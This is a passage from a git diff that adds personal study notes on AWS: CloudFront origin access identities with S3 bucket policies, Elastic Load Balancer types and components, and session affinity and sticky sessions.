CloudFront to accept and forward all of the HTTP methods that CloudFront supports, make sure you give your CloudFront OAI the desired permissions. +- For example, +- configure CloudFront to accept and forward requests that use the `DELETE` method, +- configure your bucket policy or object ACLs to handle `DELETE` requests appropriately so viewers can delete only files that you want them to. + +Note the following: +- it is easier to use S3 bucket policies than object ACLs + - S3 bucket policies + - can add files to the bucket without updating permissions. + - object ACLs + - give more fine-grained control + - it granting permissions on each individual file. + +- By default, S3 bucket and all files in it are private. + - Only the AWS account that created the bucket has permission to read or write the files in it. + +- If another AWS account uploads files to your bucket, that account is the owner of those files. + - Bucket policies only apply to files that the bucket owner owns. + - if another account uploads files to your bucket, + - the bucket policy that you created for your OAI is not evaluated for those files. + - In that case, use object ACLs to give permissions to your OAI + +- If adding an OAI to an existing distribution + - modify the bucket policy or any object ACLs as appropriate + - to ensure that the files are not publicly available outside of CloudFront. + +- Grant additional permissions to one or more secure administrator accounts + - so you can continue to update the contents of the S3 bucket. + +- There might be a brief delay between save changes to S3 permissions and when the changes take effect. + - Until the changes take effect, might get “permission denied” errors when try to access files in your bucket. + + +--- + + +### Using S3 Bucket Policies + +give CloudFront OAI access to files in S3 bucket by creating or updating the bucket policy +1. Using the S3 bucket’s **Permissions** tab in the [S3 console](https://console.aws.amazon.com/s3/home). +2. Using [PutBucketPolicy](https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html) in the S3 API. +3. Using the [CloudFront console](https://console.aws.amazon.com/cloudfront/home). + - When you add an OAI to your origin settings in the CloudFront console + - choose **Yes, Update Bucket Policy** to tell CloudFront to update the bucket policy on your behalf. + - If you update the bucket policy manually: + - Specify the correct OAI as the `Principal` in the policy. + - Give the OAI the permissions it needs to access objects on behalf of viewers. + + +#### Specify an OAI as the `Principal` + +To specify an OAI as the `Principal` in an S3 bucket policy + + + +- use the OAI’s Amazon Resource Name (ARN), which includes the OAI’s ID. + - To find the OAI’s ID + - use [Origin Access Identity page](https://console.aws.amazon.com/cloudfront/home?region=us-east-1#oai:) in the CloudFront console + - use [ListCloudFrontOriginAccessIdentities](https://docs.aws.amazon.com/cloudfront/latest/APIReference/API_ListCloudFrontOriginAccessIdentities.html) in the CloudFront API. + + ```json + "Principal": { + "AWS": "arn:aws:iam::cloudfront:user/EH1HDMB1FH2TC" + // CloudFront Origin Access Identity + } + ``` + +- or specify an OAI as the `Principal` by using its S3 canonical ID + - find the OAI’s canonical ID in the same ways that you find its ID. + + ```json + "Principal": { + "CanonicalUser": "79a59df900b949e55d96a1e698fbacedfd6e09d98eacf8f8d5218e7cd47ef2be" + } + ```` + + +OAI’s ARN: +- make it easier to understand the bucket policy. +- easier to understand who the bucket policy is granting access to. + +S3 canonical IDs: +- can refer to different kinds of AWS identities, not just CloudFront OAIs +- so difficult to determine which identity a canonical ID refers to. +- Also, when use the OAI’s canonical ID in a bucket policy, AWS replaces the canonical ID with the OAI’s ARN. + - When you write a policy that specifies an OAI’s canonical ID and then later view the same policy, the canonical ID has been replaced by the corresponding ARN. + +--- + + +#### Give Permissions to an OAI + +To give the OAI the permissions to access objects in the S3 bucket, use keywords in the policy that relate to specific S3 API operations. +- For example, the `s3:GetObject` permission allows the OAI to read objects in the bucket. +- [Specifying Permissions in a Policy](https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html) in the _Amazon Simple Storage Service Developer Guide_. + + +--- + +#### S3 Bucket Policy Examples + +S3 bucket policies that grant access to a CloudFront OAI. + +* OAI’s ID: `EH1HDMB1FH2TC` +* S3 bucket: `awsexamplebucket` + +**Example S3 bucket policy that gives the OAI read access** +- allows the OAI to read objects in the specified bucket (`s3:GetObject`). + +```json +{ + "Version": "2012-10-17", + "Id": "PolicyForCloudFrontPrivateContent", + "Statement": [ + { + "Effect": "Allow", + "Principal": {"AWS": "arn:aws:iam::cloudfront:user/EH1HDMB1FH2TC"}, + "Action": "s3:GetObject", + "Resource": "arn:aws:s3:::awsexamplebucket/*" + } + ] +} +``` + +**Example S3 bucket policy that gives the OAI read and write access** +- allows the OAI to read and write objects in the specified bucket (`s3:GetObject` and `s3:PutObject`). +- This allows viewers to upload files to your S3 bucket through CloudFront. + +```json +{ + "Version": "2012-10-17", + "Id": "PolicyForCloudFrontPrivateContent", + "Statement": [ + { + "Effect": "Allow", + "Principal": {"AWS": "arn:aws:iam::cloudfront:user/EH1HDMB1FH2TC"}, + "Action": [ "s3:GetObject", "s3:PutObject" ], + "Resource": "arn:aws:s3:::aws-example-bucket/*" + } + ] +} +``` + +--- + + +### Updating S3 Object ACLs + +give a CloudFront OAI access to files in an S3 bucket by creating or updating the file’s ACL in the following ways: +* Using the S3 object’s **Permissions** tab in the S3 console. +* Using [PutObjectAcl](https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutObjectAcl.html) in the S3 API. + + +to grant access to an OAI using an ACL +- must specify the OAI using its S3 canonical user ID +- in CloudFront API, use the value of the `S3CanonicalUserId` element that was returned when you created the OAI, or call [ListCloudFrontOriginAccessIdentities](https://docs.aws.amazon.com/cloudfront/latest/APIReference/API_ListCloudFrontOriginAccessIdentities.html) in the CloudFront API. + + +--- + + +### Using an OAI in S3 Regions that Support Only Signature Version 4 Authentication + +Newer S3 Regions require that you use Signature Version 4 for authenticated requests. +- when create an origin access identity and add it to a CloudFront distribution, +- CloudFront typically uses Signature Version 4 for authentication when it requests files in your S3 bucket. + +* `DELETE`, `GET`, `HEAD`, `OPTIONS`, and `PATCH` requests are supported without qualifications. + +* to submit `PUT` requests to CloudFront to upload files to your S3 bucket + * must add an `x-amz-content-sha256` header to the request. + * The header value must contain an SHA256 hash of the body of the request. + +* `POST` requests are not supported. + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Balancing/2020-07-18-ELB.md b/_posts/01Cloud/01AWS/Balancing/2020-07-18-ELB.md new file mode 100644 index 00000000000..c5348a2210a --- /dev/null +++ b/_posts/01Cloud/01AWS/Balancing/2020-07-18-ELB.md @@ -0,0 +1,418 @@ +--- +title: AWS - Balancing - ELB +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Balancing] +tags: [AWS, Balancing, CloudFront] +toc: true +image: +--- + +- [Elastic Load Balancing](#elastic-load-balancing) + - [Overview](#overview) + - [high availability](#high-availability) + - [high availability in Region](#high-availability-in-region) + - [high availability across Regions](#high-availability-across-regions) + - [component](#component) + - [Listeners](#listeners) + - [Target groups](#target-groups) + - [ELB Type](#elb-type) + - [Application Load Balancer](#application-load-balancer) + - [Network Load Balancer](#network-load-balancer) + - [Classic Load Balancer](#classic-load-balancer) + - [key difference](#key-difference) + - [why ELB](#why-elb) + - [Monitor log](#monitor-log) + +--- + +# Elastic Load Balancing + +![elb](https://i.imgur.com/1Cuxcpf.png) + +--- + +## Overview + +> The foundation of the web tier includes the use of ELB in the architecture. + + +- **distributes** `income app / network traffic` evenly across multiple targets `in or across Availability Zones`. + - Target: EC2 instances, containers, internet protocol (IP) addresses, and Lambda functions + +- An ELB has a **DNS record**, facilitates the public requests to be routed to an ELBs environment + +- **scales** load balancer + - as traffic to application changes over time. + - It can automatically scale to most workloads. + +- send traffic to EC2 instances, can also send metrics to CloudWatch, which is a managed monitoring service. + - The metrics from EC2 and ELB can act as triggers, + - if you notice a particularly high latency or that the servers are becoming overused, + - can take advantage of Auto Scaling to add more capacity to the web server fleet + +![Screen Shot 2020-06-22 at 22.23.27](https://i.imgur.com/9KRvjdD.png) + +--- + +## high availability + +### high availability in Region + +![Screen Shot 2020-06-22 at 22.57.39](https://i.imgur.com/FYcOFcC.png) + +- create the load balancer in a VPC, make the load balancer internal / private, internet-facing / public. + +- Internet-facing load balancers + - deployed in the public subnet + - balance traffic from web server in Availability Zones + - a DNS name will be created with the public IP address. + - The DNS records are publicly resolvable in both cases. + +- An internal load balancer + - not exposed to the internet. + - distributes traffic to Amazon EC2 instances from clients with access to the VPC for the load balancer. + - distributes traffic between the private subnets. + - a DNS name will be created will the private IP address of the load balancer. + +### high availability across Regions + +- Each load balancer is comprised of nodes, deployed to one or more AZs. + - A load balancer node is placed in each associated AZ, + - a load balancer can have multiple nodes that can be placed into multiple AZs + + +--- + +## component + + +### Listeners + +- Listener + - Before start using your Application Load Balancer, must add one or more listeners. + - A listener is a process that checks for connection requests, using the protocol and port that you configure. + - The rules that you define for a listener determine how the load balancer routes requests to its registered targets. + +- Listener rules + - Each listener has a default rule, and you can optionally define additional rules. + - Each rule consists of `a priority, one or more actions, and one or more conditions`. + +- Default rules + - When you create a listener, you define actions for the default rule. Default rules can't have conditions. If the conditions for none of a listener's rules are met, then the action for the default rule is performed. + +- Rule priority + - Each rule has a priority. Rules are evaluated in priority order, from the lowest value to the highest value. The default rule is evaluated last. You can change the priority of a nondefault rule at any time. You cannot change the priority of the default rule. For more information, see Reorder rules. + +- Rule actions + - Each rule action has a type, an order, and the information required to perform the action. For more information, see Rule action types. + +- Rule conditions + - Each rule condition has a type and configuration information. When the conditions for a rule are met, then its actions are performed. For more information, see Rule condition types. + +### Target groups + +- Target groups route requests to one or more registered targets, such as EC2 instances, using the protocol and port number that you specify. +- You can register a target with multiple target groups. +- You can configure health checks on a per target group basis. Health checks are performed on all targets registered to a target group that is specified in a listener rule for your load balancer. + +- Each target group is used to route requests to one or more registered targets. + - When create each listener rule, specify a target group and conditions. + - When a rule condition is met, traffic is forwarded to the corresponding target group. + - create different target groups for different types of requests. + - For example, create one target group for general requests and other target groups for requests to the microservices for your application. You can use each target group with only one load balancer. For more information, see Application Load Balancer components. + +- define health check settings for load balancer on a per target group basis. + - Each target group uses the default health check settings + - After you `specify a target group in a rule` for a **listener**, the load balancer continually monitors the health of all targets registered with the target group that are in an Availability Zone enabled for the load balancer. + - The load balancer routes requests to the registered targets that are healthy. + + +--- + +## ELB Type + +Elastic Load Balancing is available in three types: + +![Screen Shot 2020-05-09 at 16.50.36](https://i.imgur.com/QU4AxHc.png) + +--- + +### Application Load Balancer + +- operates at the **Application level**. + +- ideal for advanced load balancing of HTTP and HTTPS traffic. + +- **content-based routing** + + - routes traffic to targets `based on the content of the request`. + + - examine **content attributes** (host headers, path, HTTP headers, source IPs, ports) and route requests based on **content rules**. + + - **content rule**: an ALB rule that determines its route based on content and conditions. + +- provides **advanced request routing** + + - targeted at delivery of modern application architectures, including microservices and container-based applications. + + - they support applications that run in containers. + + - support a pair of industry-standard protocols—such as WebSocketand HTTP/2—and also provide additional visibility into the health of the target instances and containers. + + - Websites and mobile apps that run in containers or on EC2 instances will benefit from the use of Application Load Balancers. + +- **simplifies and improves the security** of the application + + - by ensuring that the latest SSL/TLS ciphers and protocols are used at all times. + + - Can host multiple SSL certificates + + +- By default, ALB’s IP change over time due to changes in AWS’s infrastructure. + + - It is recommended to always use DNS to find the public IP. + + +--- + +### Network Load Balancer + +> distributes this traffic across the targets within the same Availability Zone. + +- the Transport Layer (layer 4) + - operates at the network transport level + +- NLB’s IP address will not change + - optimized to handle sudden and volatile network traffic patterns , while using a single static IP address per Availability Zone. + +- load balancing both TCP and UDP traffic + +- routing connections to targets based on IP protocol data + - It accepts incoming traffic from clients + - + + - NLBs supports routing using + - Ports + - TCP/UDP protocol + - source/target IPs + +- handling millions of requests/sec while maintaining ultra-low latencies. + +- is API-compatible with the ALB, including full programmatic control of target groups and targets + +- advantage of using Network Load Balancers (NLBs) + - When needing extreme performance + - When the source IP must be preserved + - packets are not modified on the route to its destination + - supports routing to multiple applications within an EC2 instance + - can handle volatile workloads + - supports targets outside a VPC + - faster performance than ALB and CLB + - can be allocated a static IP address + + +--- + +### Classic Load Balancer + +> provides basic load balancing across multiple EC2 instances + +- operates at both the application level and network transport level + - supports the load balancing of applications that use HTTP, HTTPS, TCP, and SSL. + +- an older implementation. Recommends dedicated Application / Network Load Balancer + +- ideal for applications that were built within the EC2-Classic network. + +- listener accepts traffic based on ports and protocols + - placed between tiers of an application or between instances. + +- The nodes of an internal load balancer have only private IP addresses. + +- Classic Load Balancer's security group + - Ensures that the instances receive traffic only from the load balancer. + - restrict clients from accessing an instance directly. + - Defines the type of traffic allowed to connect to a load balancer. + - Can be shared amongst other load balancers in an AWS account. + - A security group can be applied to more than one load balancer, + - reducing the need to create a security group for each load balancer. + + + +--- + +## key difference + +> key difference in how the load balancer types are configured. + +- With ALB / NLB, register targets in **target groups**, and route traffic to the target groups. +- With CLB, register **instances** with the load balancer. + + +Using an **Application Load Balancer** instead of a **Classic Load Balancer** has the following benefits: + +- Support for path-based routing + - can configure rules for listener that forward requests based on the URL in the request. + - to structure the application as smaller services, and route requests to the correct service based on the content of the URL. + +- Support for host-based routing + - can configure rules for listener that forward requests based on the host field in the HTTP header. + - to route requests to multiple domains using a single load balancer. + +- Support for routing based on fields in the request + - such as standard and custom HTTP headers and methods, query parameters, and source IP addresses. + +- Support for routing requests to multiple APPs on a single EC2 instance + - can `register each instance or IP address` with the same target group using `multiple ports`. + +- Support for redirecting requests from one URL to another + +- Support for returning a custom HTTP response + +- Support for registering targets by IP address + - including targets outside the VPC for the load balancer. + +- Support for registering Lambda functions as targets + +- Support for the load balancer to authenticate users of the applications through their corporate or social identities before routing requests + +- Support for containerized applications + - Amazon ECS can select an unused port when scheduling a task and register the task with a target group using this port. + - to make efficient use of the clusters. + +- Support for monitoring the health of each service independently + - as health checks are defined at the target group level and many CloudWatch metrics are reported at the target group level. + - Attaching a target group to an Auto Scaling Group enables you to scale each service dynamically based on demand. + +- Access logs contain additional information and are stored in compressed format. + +- Improved load balancer performance. + + +- accepts incoming traffic from clients and routes requests to its registered `targets` (such as EC2 instances) in one or more Availability Zones + - configure load balancer to accept incoming traffic by specifying one or more listeners. + - A listener is a `process` that checks for connection requests. + - Listeners are tuned into `incoming connections, internally or public` + - route requests to target groups based on defined rules. + - configured with a protocol and port number for connections from clients to the load balancer and from the load balancer to the targets. + + +![Screen Shot 2020-05-09 at 14.28.41](https://i.imgur.com/ERS07ba.png) + + +- can also configure the load balancer to perform health checks + - monitor the health of the registered targets + - the load balancer only sends requests to the healthy instances. + - detects an unhealthy target, it stops routing traffic to that target. + - It then resumes routing traffic to that target when it detects that the target is healthy again. + +![Screen Shot 2020-06-09 at 21.38.59](https://i.imgur.com/ZmWSS4q.png) + +![Screen Shot 2020-06-09 at 21.39.14](https://i.imgur.com/oNB1SD6.png) + +- EC2 instances behind a load balancer are directly accessible until the security group's source has been updated to only accept connections from the ELB. + + +--- + + +## why ELB + +![Screen Shot 2020-05-09 at 14.29.23](https://i.imgur.com/1qtYkJk.png) + +- `high availability and better fault tolerance` for the applications + - balances traffic across healthy targets in a single Availability Zone or across multiple Availability Zones. + - If targets in a single Availability Zone are unhealthy, + - ELB will route traffic to healthy targets in other Availability Zones. + - After the targets return to a healthy state, load balancing will automatically resume traffic to them + +- `Health checks` + - To discover the availability of EC2 instances + - the load balancer periodically **sends pings, attempts connections, or sends requests** to test the Amazon EC2 instances. + - These tests are called health checks. + - registered EC2 instance respond to the health check with an HTTP status code of 200 to be considered healthy by the load balancer. + - unhealthy threshold + - determines the number of health check failures before an EC2 instance is deemed unhealthy. + +![Screen Shot 2020-06-20 at 23.04.31](https://i.imgur.com/vjyXCgG.png) + +- `Security features` + - use Amazon VPC to create and manage security groups associated with load balancers to provide additional networking and security options. can also create an internal—or non-internet-facing—load balancer. + +- `TLS termination` + - ELB provides **integrated certificate management and SSL decryption** + - centrally manage the SSL settings of the load balancer and offload CPU intensive work from the application. + +- `Automatically layer 4 or 7 load balance` the containerized applications + - With enhanced container support for Elastic Load Balancing, you can now **load balance across multiple ports on the same EC2 instance**. + - take advantage of deep integration with Amazon ECS, which provides a fully-managed container offering. + - register a service with a load balancer, and Amazon ECS transparently manages the registration and de-registration of Docker containers. + - The load balancer automatically detects the port and dynamically reconfigures itself. + +- `Automatically scale the applications` + - ELB works with **CloudWatch** and **EC2 Auto Scaling** + - to scale the applications to the demands of the customers. + - to automatically distribute incoming traffic across a dynamically changing number of instances. + - **CloudWatch alarms** can trigger auto scaling for the EC2 instance fleet when the latency of any one of the EC2 instances exceeds a preconfigured threshold. + - **EC2 Auto Scaling** then provisions new instances and the applications will be ready to serve the next customer request. + - The load balancer will register the EC2 instance and direct traffic to it as needed. + +- `Use Elastic Load Balancing in the VPC` + - use Elastic Load Balancing to create a public entry point into the VPC, or to route request traffic between tiers of the application within the VPC. + - You can assign security groups to the load balancer to control which ports are open to a list of allowed sources. Because Elastic Load Balancing works with the VPC, all the existing network access control lists (network ACLs) and routing tables continue to provide additional network controls. + - create a load balancer in VPC, specify the load balancer is public (default) or internal. + - If internal, do not need to have an internet gateway to reach the load balancer, the private IP addresses of the load balancer will be used in the load balancer’s Domain Name System (DNS) record. + +- `Enable hybrid load balancing` + - Elastic Load Balancing enables you to load balance across AWS and on-premises resources by using the same load balancer. + - For example, if you must distribute application traffic across both AWS and on-premises resources, you can register all the resources to the same target group and associate the target group with a load balancer. + - Alternatively, you can use DNS-based weighted load balancing across AWS and on-premises resources by using two load balancers, with one load balancer for AWS and other load balancer for on-premises resources. + - You can also use hybrid load balancing to benefit separate applications where one application is in a VPC and the other application is in an on-premises location. Put the VPC targets in one target group and the on-premises targets in another target group, and then use content-based routing to route traffic to each target group. + +- `Invoking Lambda functions over HTTP(S)` + - Elastic Load Balancing supports invoking Lambda functions to serve HTTP(S) requests. + - enables users to access serverless applications from any HTTP client, including web browsers. + - register Lambda functions as targets and use the support for content-based routing rules in Application Load Balancers to route requests to different Lambda functions. You can use an Application Load Balancer as a common HTTP endpoint for applications that use servers and serverless computing. You can build an entire website by using Lambda functions, or combine EC2 instances, containers, on-premises servers, and Lambda functions to build applications + +- `It offers SSL offloading` + - it handles encryption/decryption of traffic. + +- `supply an encrypted connection from internet users` to AWS load balancers while reducing the admin overhead needed + - The load balancer needs to be set to accept the HTTPS protocol. + - require an SSL certificate on the ELB. + - Load balancer port set to accept 443. + +- `enable connection draining` + - the load balancer **stop send new requests** to the backend instance when instances are de-registering or become unhealthy, + - but **will allow existing requests to be completed** while ensuring that in-flight requests continue to be served. + - means that can perform maintenance + - such as deploying software upgrades or replacing backend instances, without affecting the customers’ experience. + - **Connection draining is also integrated with Auto Scaling** + - use to manage the capacity behind the load balancer. + - Auto Scaling will wait for outstanding requests to be completed before it terminates instances. + - You can enable connection draining through: + - AWS Management Console, API, CLI, and AWS CloudFormation + +--- + +## Monitor log + +![Screen Shot 2020-05-09 at 14.36.14](https://i.imgur.com/SOUjqry.png) + +following features to monitor load balancers, analyze traffic patterns, and troubleshoot issues with the load balancers and targets: + +- **Amazon CloudWatch metrics** + - Elastic Load Balancing `publishes data points` to Amazon CloudWatch for the load balancers and the targets. + - CloudWatch enables `retrieve statistics` about those data points as an ordered set of timeseries data, known as metrics. + - use metrics to verify that the system is performing as expected. + - For example, you can create a CloudWatch alarm to monitor a specified metric and initiate an action (such as sending a notification to an email address) if the metric goes outside what you consider an acceptable range. + +- **Access logs** + - use access logs to `capture detailed information about the requests` that were made to the load balancer + - store as log files in Amazon Simple Storage Service (Amazon S3). + - use these access logs to `analyze traffic patterns and to troubleshoot issues` with the targets or backend applications. + +- **AWS CloudTrail logs** + - use AWS CloudTrail to `capture detailed information about the calls` that were made to the Elastic Load Balancing application programming interface (API) + - store as log files in Amazon S3. + - use these CloudTrail logs to determine who made the call, what calls were made, when the call was made, the source IP address of where the call came from, and so on. diff --git a/_posts/01Cloud/01AWS/Balancing/2020-07-18-SessionAffinity.md b/_posts/01Cloud/01AWS/Balancing/2020-07-18-SessionAffinity.md new file mode 100644 index 00000000000..17c2a8a0c8b --- /dev/null +++ b/_posts/01Cloud/01AWS/Balancing/2020-07-18-SessionAffinity.md @@ -0,0 +1,366 @@ +--- +title: AWS - Session Affinity, Load-Balanced, Session Fail Over, Sticky Sessions +date: 2020-07-18 11:11:11 -0400- +categories: [01AWS, Balancing] +tags: [AWS, Balancing] +toc: true +image: +--- + +- [Session Affinity 类同, Load-Balanced, Session Fail Over, Sticky Sessions](#session-affinity-类同-load-balanced-session-fail-over-sticky-sessions) + - [The application can’t remember who the client is](#the-application-cant-remember-who-the-client-is) + - [session location](#session-location) + - [Load balanced](#load-balanced) + - [1. Session information stored in client-side cookies only](#1-session-information-stored-in-client-side-cookies-only) + - [2. Load balancer directs the user to the same machine:](#2-load-balancer-directs-the-user-to-the-same-machine) + - [3. Shared backend database or memcached or key/value store:](#3-shared-backend-database-or-memcached-or-keyvalue-store) + - [example](#example) + - [Stickiness vs Sticky sessions](#stickiness-vs-sticky-sessions) + - [Sticky sessions / session affinity](#sticky-sessions--session-affinity) + - [Duration-based session stickiness](#duration-based-session-stickiness) + - [Application-controlled session stickiness](#application-controlled-session-stickiness) + +--- + +# Session Affinity 类同, Load-Balanced, Session Fail Over, Sticky Sessions + +--- + + +## The application can’t remember who the client is +- On a technical level: +- **Each HTTP request-response pair between the client and app happens (most often) on a different TCP connection**. + - This is especially true when a load balancer sits between the client and the app + - So the application can’t use the TCP connection as a way to remember the conversational context. +- **HTTP itself is stateless**: + - any request can be sent at any time, in any sequence, regardless of the preceding requests. + - app may demand a particular pattern of interaction – like logging in before accessing certain resources – but that application-level state is enforced by the application, not by HTTP. + - So HTTP cannot be relied on to maintain conversational context between the client and the application. + + +no transparent session fail-over: +- The OpenPages application can be configured for a multi-server (node) configuration. +- If one node (or server) goes down while a user is connected, the user will need to close the browser and re-login to connect to one of the other available nodes (or servers) in the environment. +- if one node goes down, users will NOT automatically be rerouted to one of the available nodes. + +Use-Case 1: +> If Production Server A goes down, the admin service and the OP/IBPM server service will go down. +> For users using the server, will need to close the browser and manually re-login to utilize Production Server B. +> All in-flight transactions which are getting processed will be lost and users have to reiterate the task. +> From an end user perspective +> - was performing an action or task on Production Server A +> - may need to re-login to complete the task on Production Server B. +> - no loss in functionality, however have to repeat the task again that been interrupted. +> - All in-flight transactions getting processed will be lost and have to reiterate the task. + +Use-Case 2: +> If both Production Server A and Production Server B are unavailable (due to various reasons), +> an administrator can startup the disaster recovery system(s). This assumes that 3rd party mechanisms (ie: database mirroring; data replication) are in place. +> The IT administrator would also have to update the load-balancer to indicate the disaster recovery servers can be used. +> If the load balancer has sticky-IP time out configured then users may have to wait until the time out threshold is reached and re-access the URL. + + +--- + +## session location + + +goal: Manage user session +- storing those sessions locally to the node responding to the HTTP request +- design a layer in architecture which can store those sessions in a scalable and robust manner. + + +2 ways to solve this problem of forgetting the context. + +1. the client remind the application of the context every time he requests something + +2. the application remember the context by creating an associated memento + - This memento is given to the client and returned to the application on subsequent requests. + 1. via URL + - `https://www.example.com/products/awesomeDoohickey.html?sessionID=0123456789ABCDEFGH` + 2. via cookies + - placed within the HTTP request + - so they can be discovered by the application even if a load balancer intervenes. + + + +Use-Case: +> Large websites may be "load balanced" across multiple machines. +> - a user may hit any of the backend machines during a session. +> - several methods exist to allow many machines to share user sessions. +> - The method chosen will depend on the style of load balancing employed, as well as the availability/capacity of backend storage: + + + +--- + + +## Load balanced +- a user may hit any of the backend machines during a session. +- several methods exist to allow many machines to share user sessions. +- The method chosen will depend on the style of load balancing employed, as well as the availability/capacity of backend storage: + + +way in which the Application Session State is stored. +- Stateful + - the application session state is stored locally on the same server as the application. + - This is also referred to as a stateful server + - to scale up/down the application server + - there would be user interruption + +- Stateless + - the application session state is stored remotely on another server rather than locally on the application server. + - This is also referred to as a stateless server + - to scale up/down the application server + - no user interruption + + + +--- + + +### 1. Session information stored in client-side cookies only + +> least suitable for most applications: + +- session identifier + Session information is stored in a user's cookie + - example: the user's cookie might contain the contents of their shopping basket. + +- No backend storage is required + - the session data is not stored server-side + - more difficult for developers to debug + - The amount of data that can be stored in the session is limited (by the 4K cookie size limit) + +- The user does not need to hit the same machine each time, so DNS load balancing can be employed + +- no latency associated with retrieving the session information from a database machine + - (as it is provided with the HTTP request). + - Useful if your site is load-balanced by machines on different continents. + + +- Encryption has to be employed + - if a user should not be able to see the contents of their session + - HMAC (or similar) has to be employed to prevent user tampering of session data + + +--- + + +### 2. Load balancer directs the user to the same machine: + +> may be good in some situations: + +- load balancers may set session cookie + - indicating which backend machine a user is making requests from + - and direct them to that machine in the future. + +- An `existing application's session handling may not need to be changed` to become multiple machines aware + +- No shared database system (or similar) is required for storing sessions + - possibly increasing reliability + - but at the cost of complexity + +- A backend machine going down will take down user sessions started on/with it + - Because the user is always directed to the same machine, session sharing between multiple machines is not required. + +- Taking machines out of service is more difficult + - Users with sessions on a machine to be taken down for maintenance should be allowed to complete their tasks before the machine is turned off. + - To support this, web load balancers may have a feature to "drain" requests to a certain backend machine. + + +--- + + +### 3. Shared backend database or memcached or key/value store: + +> probably the cleanest method of the three: + +- Session information is stored in a backend database + - The user's browser stores a cookie containing an identifier (like session ID), pointing to the session information + - The user never needs to be exposed to the stored session information. + +- all web servers have access to query and update. + - The user does not need to hit the same machine each time, so DNS load balancing can be employed + +- Session information may be expired and backed up consistently. + +- One disadvantage is `the bottleneck that can be placed on whichever backend storage system is employed`. + +- most dynamic web applications perform several database queries or key/value store requests + - so the database or key/value store is the logical storage location of session data. + + + +--- + +## example + +![Screen Shot 2020-06-22 at 15.07.33](https://i.imgur.com/gE2TVx5.png) + +A cloud design pattern that uses multiple load balancers +- 2 separate ELB going to a set of servers. + - a load balancer that is separated by a certificate + - another load balancer that is keeping the session sticky + +- When a website is served by only one web server + - for each client-server pair + - a session object is created and remains in the memory of the web server. + - All requests from the client go to this web server and update this session object. + +- When a website is served by multiple web servers behind a load balancer + - the load balancer decides which web server the request goes to. + - load balancer use sticky sessions or Stickiness sessions + + +--- + +cache + +![Screen Shot 2020-06-20 at 23.23.50](https://i.imgur.com/bTDwJPr.png) + +![Screen Shot 2020-06-20 at 23.24.41](https://i.imgur.com/M9FQKnN.png) + +--- + + +## Stickiness vs Sticky sessions + +> Stickiness vs Sticky sessions + +pic + +pic + + +1. If the load balancer use sticky sessions + - all interactions happen with the same physical server + - the new sticky session feature instruct the load balancer + - to route repeated requests to the same EC2 instance whenever possible + - A series of requests from the user will be routed to the same EC2 instance if possible. + - If the instance has been terminated or has failed a recent health check + - the load balancer will route the request to another instance. + - the instances can cache user data locally for better performance. + + +1. If the load balancer use Stickiness sessions + - important because mobile applications need to keep sticky sessions + - For desktop users, common not require sticky sessions + - load balancer had the freedom to forward each incoming HTTP or TCP request to any of the EC2 instances under its purview. + - even load on each instance, + - but also meant that each instance would have to retrieve, manipulate, and store session data for each request without any possible benefit from locality of reference. + + +--- + + +### Sticky sessions / session affinity + +- By default, load balancer routes each request independently to the registered instance with the smallest load. + - Stickiness sessions + - even load on each instance + + +by sticky session + +- enables the load balancer to bind user's session to a specific instance + - all requests from the user during the session are sent to the same server instance. + - can use `sticky sessions` for only `HTTP/HTTPS load balancer listeners` + +- limit application’s scalability + - the load balancer is unable to truly balance the load each time it receives request from a client. + - send all the requests to their original server where the session state was created + - even that server might be heavily loaded + - and another less-loaded server is available to take on this request. + +- allow to route user to the particular web server which is managing that individual user’s session. + - better user experience. + + +The session’s validity can be determined by: +- a client-side cookies +- via configurable duration parameters that set at the load balancer + - which routes requests to the web servers. + + + +#### Duration-based session stickiness + +- The load balancer uses a special `load balancer–generated cookie` to track the application instance for each request +- When the load balancer receives a request + - first checks whether this cookie is present in the request + - If there is a cookie + - the request is sent to the application instance specified in the cookie. + - If there is no cookie + - the load balancer chooses an application instance based on the existing load balancing algorithm. + - A cookie is inserted into the response + - for binding subsequent requests from the same user to that application instance. + +- The stickiness policy configuration + - defines a cookie expiration + - establishes the duration of validity for each cookie. + - The cookie is automatically updated after its duration expires + + + +#### Application-controlled session stickiness +- The load balancer uses a special cookie to associate the session with the original server that handled the request + +- The stickiness policy configuration + - follows the lifetime of the application-generated cookie corresponding to the cookie name specified in the policy configuration. + - The load balancer only inserts a new `stickiness cookie` if the application response includes a new application cookie + + +- The load balancer stickiness cookie does not update with each request. +- If the application cookie is explicitly removed or expires the session stops being sticky until a new application cookie is issued. + - This means that can perform maintenance without affecting customers’ experience. + - such as deploying software upgrades or replacing backend instances, + + +- Applications often store session data in memory, but this approach doesn’t scale well. + - Options available to manage session data without `sticky sessions` include: + - Using ElastiCache or DynamoDB to store session data. + + + + +--- + +Multiple load balancers, based on the types of devices that access the web site. + +![Screen Shot 2020-06-22 at 15.07.33](https://i.imgur.com/gE2TVx5.png) + +When a web application is multi-device compatible (access from PCs and smart phones) + +1. perform a `setup for SSL/TLS` or to `assign sessions for individual access devices`, if the setup is performed by the EC2 instances themselves, + - any change to the settings would become extremely laborious as the number of servers increases. + + +2. **solve this problem**: assign multiple virtual load balancers with different settings. + - rather than modifying the `servers` + - changing the `virtual load balancer` for routing the access. + - change the behavior relative to access by the different devices + - For example + - apply this to settings such as for sessions, health checks, and HTTPS. + - To implement, `assign multiple virtual load balancers to a single EC2 instance`. + - use the SSL Termination function of the load balancer to perform the HTTPS (SSL) process. + - Place EC2 instance under the control of the load balancers + - And prepare load balancers with different settings for sessions, health checks, HTTPS, etc., and switch between them for the same EC2 instance. + + +- some benefits. + - The behavior on the load balancer level for mobile sites and PC sites can be different, even use the same EC2 instance. + - Even when multiple SSLs (HTTPS) are used by the same EC2 instance, can prepare load balancers for each SSL (HTTP). + - when cut off an EC2 instance from a load balancer to perform maintenance, have to cut off the EC2 instance from all of the load balancers. + - When use the SSL Termination function of a load balancer, the EC2 instance will be able to receive requests via HTTP, making it difficult to evaluate the HTTPS connection by the applications. + + +--- + + +ref +- [New Elastic Load Balancing Feature: `Sticky Sessions`](https://aws.amazon.com/blogs/aws/new-elastic-load-balancing-feature-sticky-sessions/) +- [Elastic Load Balancing with Sticky Sessions](https://shlomoswidler.com/2010/04/08/elastic-load-balancing-with-sticky-sessions/) +- [IBM - OpenPages Load-Balanced Configuration vs Session Fail 